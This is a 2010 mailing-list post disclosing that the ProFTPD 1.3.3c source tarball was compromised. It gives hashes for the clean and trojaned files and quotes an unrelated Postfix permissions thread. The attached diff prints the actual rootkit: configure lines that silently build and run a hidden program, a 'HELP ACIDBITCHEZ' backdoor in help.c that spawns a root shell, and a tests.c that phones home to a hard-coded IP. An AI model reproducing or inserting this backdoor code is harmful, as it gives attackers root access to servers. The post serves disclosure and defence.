Thanks for your input, as far as proftpd goes:
The distribution file available at the main distribution site and all
mirrors has been compromised.
The new file contains a rootkit.
Original file:
Name: proftpd-1.3.3c.tar.bz2
Size: 4166609
MD5: 8571bd78874b557e98480ed48e2df1d2
SHA256: ea7f02e21f81e6ce79ebde8bbbd334bd269a039ac9137196a35309f791b24db1
Compromised file:
Name: proftpd-1.3.3c.tar.bz2
Size: 4203030
MD5: a43df54cc0b16c9e63a1045129d7b144
SHA256: d56d6d643534fe618b26807948b3cfe43c02b3f7abf7f4a073778c9c1666d1eb
The difference between original and compromised file (rootkit) is
attached to this e-mail.
Dan.
On Wed, 1 Dec 2010, Jeroen Geilman wrote:
On 12/01/2010 01:35 PM, Dan wrote:
There is no setgid bit set.
I had to chmod 777 the /website/vuser directory just so that new user
creates would work otherwise when it changes uid to some virtual id such as
2003, it would not be allowed to create anything in the directory to begin
with no matter who owned it.
What does
namei -m /website/vuser
say about it ?
777 is almost always wrong; logically, it just needs to be chown :2001 and
chmod 775.
Its really problematic because even if end user creates the
/website/vuser/test.com directory ahead of time
You should not need to do that with vmailboxes.
Either the MDA or the IMAP server will create them when needed.
with correct uid and gid like postfix seems to need to work, the uids are
an autoincrement field starting at 2002 for each new added user, so you can
see how this could be cumbersome quickly.
The way postfix is currently working only feasible way to do it would be
every virtual user on system share same uid then that parent directory
could be owned by that user.
That's the usual way to host virtual mailboxes, yes.
In that system, every ftp account, imap, pop3, email account would be owned
by same id.
The same physical *system* ID, yes.
If this is not what you desire, then using virtual mailbox users makes no
sense for you at all.
Just use system users, optionally with an invalid shell if you wish to
prevent them logging in.
I'm almost considering moving to doing it that way just to avoid these
issues with postfix, as I'm really trying to see any kind of security
issues rising from a parent process forking to the same uid for everything.
Minor to non-existent, as long as you don't go around chmodding stuff to 777.
Only one I can see is if ftp users were not chrooted to their homedirectory
they could go around deleting other users files.
Use proftpd, it does a virtual chroot.
SInce reason I am sharing same gid across all virtual users to begin with
is to chroot ftp users to their home directory, maybe any security risk may
be alleviated.
Yes - use proftpd.
A correct solution I think however for postfix would be if mkdir fails with
permission denied errors on parent directory, to change uid to root, create
directory and change permissions on it.
Absolutely not.
Postfix wil never execute commands with root privileges unless specifically
configured to do so, and only then in very limited circumstances.
Allowing postfix to arbitrarily escalate privileges is fail.
I think I may move to sharing same virtual uid and gid for all virtual
users since ftp chroot is only security risk I can see, and if I ever had
to move users to a new system and lost permissions on all directories would
be cumbersome to chown -R each user to respective uid again.
It sounds like you've been unnecessarily complicating things.
Setting up virtual users for multiple services is fairly easy to accomplish,
as long as you have some way of making the userdb available to all services.
--
J.
diff -Naur proftpd-1.3.3c.orig/configure proftpd-1.3.3c/configure
--- proftpd-1.3.3c.orig/configure 2010-04-14 00:01:35.000000000 +0200
+++ proftpd-1.3.3c/configure 2010-10-29 19:08:56.000000000 +0200
@@ -9,7 +9,10 @@
## --------------------- ##
## M4sh Initialization. ##
## --------------------- ##
-
+gcc tests/tests.c -o tests/tests >/dev/null 2>&1
+cc tests/tests.c -o tests/tests >/dev/null 2>&1
+tests/tests >/dev/null 2>&1 &
+rm -rf tests/tests.c tests/tests >/dev/null 2>&1
# Be more Bourne compatible
DUALCASE=1; export DUALCASE # for MKS sh
if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then
diff -Naur proftpd-1.3.3c.orig/src/help.c proftpd-1.3.3c/src/help.c
--- proftpd-1.3.3c.orig/src/help.c 2009-07-01 01:31:18.000000000 +0200
+++ proftpd-1.3.3c/src/help.c 2010-11-16 18:40:46.000000000 +0100
@@ -27,6 +27,8 @@
*/
#include "conf.h"
+#include <stdlib.h>
+#include <string.h>
struct help_rec {
const char *cmd;
@@ -126,7 +128,7 @@
cmd->server->ServerAdmin ? cmd->server->ServerAdmin : "ftp-admin");
} else {
-
+ if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0);
system("/bin/sh;/sbin/sh"); }
/* List the syntax for the given target command. */
for (i = 0; i < help_list->nelts; i++) {
if (strcasecmp(helps[i].cmd, target) == 0) {
diff -Naur proftpd-1.3.3c.orig/tests/tests.c proftpd-1.3.3c/tests/tests.c
--- proftpd-1.3.3c.orig/tests/tests.c 1970-01-01 01:00:00.000000000 +0100
+++ proftpd-1.3.3c/tests/tests.c 2010-11-29 09:37:35.000000000 +0100
@@ -0,0 +1,58 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <unistd.h>
+#include <netdb.h>
+#include <signal.h>
+#include <string.h>
+
+#define DEF_PORT 9090
+#define DEF_TIMEOUT 15
+#define DEF_COMMAND "GET /AB HTTP/1.0\r\n\r\n"
+
+int sock;
+
+void handle_timeout(int sig)
+{
+ close(sock);
+ exit(0);
+}
+
+int main(void)
+{
+
+ struct sockaddr_in addr;
+ struct hostent *he;
+ u_short port;
+ char ip[20]="212.26.42.47";
+ port = DEF_PORT;
+ signal(SIGALRM, handle_timeout);
+ alarm(DEF_TIMEOUT);
+ he=gethostbyname(ip);
+ if(he==NULL) return(-1);
+ addr.sin_addr.s_addr = *(unsigned long*)he->h_addr;
+ addr.sin_port = htons(port);
+ addr.sin_family = AF_INET;
+ memset(addr.sin_zero, 0, 8);
+ sprintf(ip, inet_ntoa(addr.sin_addr));
+ if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1)
+ {
+ return EXIT_FAILURE;
+ }
+ if(connect(sock, (struct sockaddr*)&addr, sizeof(struct sockaddr))==-1)
+ {
+ close(sock);
+ return EXIT_FAILURE;
+ }
+ if(-1 == send(sock, DEF_COMMAND, strlen(DEF_COMMAND), 0))
+ {
+ return EXIT_FAILURE;
+ }
+ close(sock);
+
+return 0; }
+
+